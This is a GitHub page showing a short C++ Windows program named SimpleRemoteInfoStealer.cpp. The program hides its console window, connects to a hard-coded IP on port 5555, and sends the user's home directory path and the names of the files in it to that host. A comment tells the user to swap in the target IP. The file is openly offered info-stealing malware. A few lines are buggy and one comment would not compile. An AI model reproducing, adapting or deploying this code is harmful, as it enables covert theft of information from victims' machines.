-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSimpleRemoteInfoStealer.cpp
More file actions
61 lines (49 loc) Β· 1.26 KB
/
Copy pathSimpleRemoteInfoStealer.cpp
File metadata and controls
61 lines (49 loc) Β· 1.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string>
char* userDirectory() {
char* pPath;
pPath = getenv("USERPROFILE");
if (pPath!=NULL) {
return pPath;
}
else {
perror("");
}
}
int main() {
ShowWindow(GetConsoleWindow(), SW_HIDE);
WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
server = socket(AF_INET, SOCK_STREAM, 0);
#CAMBIAR POR IP TARGET
addr.sin_addr.s_addr = inet_addr("10.10.15.2");
addr.sin_family = AF_INET;
addr.sin_port = htons(5555);
connect(server, (SOCKADDR *)&addr, sizeof(addr));
char* pPath = userDirectory();
send(server, pPath, sizeof(pPath), 0);
send(server, "\n", 1, 0);
DIR *dir;
struct dirent *ent;
if ((dir = opendir(pPath)) != NULL) {
while ((ent = readdir(dir)) != NULL) {
send(server, ent->d_name, sizeof(ent->d_name), 0);
send(server, "\n", 1, 0);
memset(ent->d_name, 0, sizeof(ent->d_name));
}
closedir(dir);
}
else {
perror("");
}
closesocket(server);
WSACleanup();
}